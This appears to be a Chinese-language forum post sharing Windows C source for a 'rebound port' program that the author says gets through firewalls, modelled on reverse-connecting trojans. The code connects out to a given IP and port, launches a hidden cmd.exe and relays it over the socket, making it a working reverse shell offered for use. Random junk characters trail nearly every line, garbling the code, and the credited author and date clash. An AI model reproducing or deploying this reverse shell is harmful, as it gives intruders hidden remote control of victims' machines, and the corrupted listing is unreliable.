这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `
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/* ============================== 0sD"Hu
Rebound port in Windows NT [y F>W$Bn%
By wind,2006/7 ep>*]'
===============================*/ `%SFu
#include {R5Q{]dK3
#include wz}BH
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#pragma comment(lib,"wsock32.lib") pdUrVmW "'
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void OutputShell(); 0O5(\8jM
SOCKET sClient; sG!SSRL@
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; K&0'@#bE\
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void main(int argc,char **argv) c!{v/zOz
{ ROw9l!YF
WSADATA stWsaData; ]2`PS<a2
int nRet; X~(%Y#6
SOCKADDR_IN stSaiClient,stSaiServer; 3C=ON.1eg
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if(argc != 3) qv>?xKSm
{ wxYB-Wh<
printf("Useage:\n\rRebound DestIP DestPort\n"); $[x2L
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return; j-e/nZR@
} |j3mI\ANF
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WSAStartup(MAKEWORD(2,2),&stWsaData); |]kcgLqj
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >AX&PMb`
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stSaiClient.sin_family = AF_INET; I<PKwT/?
stSaiClient.sin_port = htons(0); -HutEbkjx
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bL v_<\:m
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #+I)<a7\
{ ]k
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printf("Bind Socket Failed!\n"); "ph&hd}S
return; wDJbax?
} TY6
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stSaiServer.sin_family = AF_INET; wcDHx#~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )`<-
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )L fXb9}
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6EfGJq
{ yU`"]6(@[
printf("Connect Error!"); zX*+J"x
return; MLf,5f;e
} f4eLnY
OutputShell(); gBBS}HF
} cyu)YxT
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void OutputShell() YaI8hj@}
{ yyCx;
char szBuff[1024]; f-!t31?XK
SECURITY_ATTRIBUTES stSecurityAttributes; m/vwM"
OSVERSIONINFO stOsversionInfo; wju2xM
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $n>|9(K8
STARTUPINFO stStartupInfo; ?|Y/&/;%I
char *szShell; o0t/
PROCESS_INFORMATION stProcessInformation; C QO gR GW
unsigned long lBytesRead; unn2MP'
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); s2s}5b3
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 94Wf ]
stSecurityAttributes.lpSecurityDescriptor = 0; rN* ,U\q
stSecurityAttributes.bInheritHandle = TRUE; H=Sy.
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); agdiJ-lyQ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "uK`!{
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Pt<lHfd
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gQHE2$i>
stStartupInfo.wShowWindow = SW_HIDE; MHZ!noAr
stStartupInfo.hStdInput = hReadPipe; ,2hZtJ<A
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; mNUc g{+/
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GetVersionEx(&stOsversionInfo); aI @&x
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switch(stOsversionInfo.dwPlatformId) e+J|se4L5
{ cu&tdg^q
case 1: p<hV7x-{
szShell = "command.com"; 'U=D6X%V9m
break; A'(v]w
default: {p#[.E8
szShell = "cmd.exe"; Okd?=*sBx
break; n$>E'oG2t
} pi`sx[T@{Z
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5\1C@d
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send(sClient,szMsg,77,0); @#sBom+K`
while(1) 2x3'm
{ ai/VbV'|
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); GMLDmTV
if(lBytesRead) Mx&
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{ pC9Ed9uRK
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); WPbWG$Li
send(sClient,szBuff,lBytesRead,0); nFE0y3GD8
} uYk4qorA
else p_z_d6?
{ ZUE?19GA
lBytesRead=recv(sClient,szBuff,1024,0); P8#;a
if(lBytesRead<=0) break; GUUVE@Z
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :m|%=@]`
} [p3)C<;ZC
} C/nzlp~
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return; \ dpsyc
}